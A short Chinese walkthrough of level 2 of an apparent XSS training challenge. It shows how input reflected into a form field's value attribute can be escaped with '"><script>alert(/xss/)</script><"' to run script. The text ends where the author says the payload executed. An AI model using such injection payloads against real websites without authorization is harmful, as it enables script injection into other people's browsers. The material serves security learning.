在第二关中,页面存在一个输入框:
我们输入的内容会在页面中显示出来,但是值得注意的是,我们很难通过闭合<h2>标签来将我们的代码独立出来
也就意味着下面这段代码我们是很难去利用的:
<h2 align="center">没有找到和<script>alert("xxss")</script>相关的结果.</h2>
此时我们需要转换思路,我们发现在输入payload后,输入框中也会有代码显示出来,此时我们查看一下源码:
<center>
<form action="level2.php" method="GET">
<input name="keyword" value="<script>alert(" xxss")<="" script="">">
<input type="submit" name="submit" value="搜索">
</form>
</center>
很显然,我们输入的内容保存并显示了出来,利用这一点,我们便可以很轻易地构造一段payload,值得注意的是,对于新手朋友,我们要注意用">来闭合前面的input控件,使我们的攻击代码独立出来,基于这一点,我们构造如下payload:
"><script>alert(/xss/)</script><"
我们提交之后代码便成功执行了: